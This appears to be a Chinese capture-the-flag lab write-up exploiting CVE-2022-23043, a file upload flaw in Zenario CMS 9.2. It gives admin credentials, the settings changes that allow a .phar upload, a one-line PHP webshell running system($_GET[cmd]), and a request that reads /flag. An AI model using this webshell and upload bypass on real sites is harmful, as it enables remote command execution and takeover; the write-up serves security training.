春秋云镜 CVE-2022-23043

春秋云镜 CVE-2022-23043 Zenario CMS 9.2 文件上传漏洞

靶标介绍

Zenario CMS 9.2 文件上传漏洞，攻击者可上传webshell执行任意命令。登陆信息：admin/adminqwe12

启动场景

漏洞利用

/admin进入管理后台，admin/adminqwe12登陆成功。

修改文档存放位置为/tmp（否则无法getshell）

修改上传文件格式,Extension设置为phar，MIME Type设置为 text/plain。


“Documents”处上传webshell

webshell

<?php
system($_GET[cmd]);
phpinfo();
?>

访问类型选择Public

获取webshell地址“Actions” - “View public link”。

http://39.106.48.123:17975/public/downloads/bx40a/shell.phar

http://39.106.48.123:17975/public/downloads/bx40a/shell.phar?cmd=cat%20/flag

得到flag

flag{c4b38083-0157-4171-8b48-30c1b448b81c}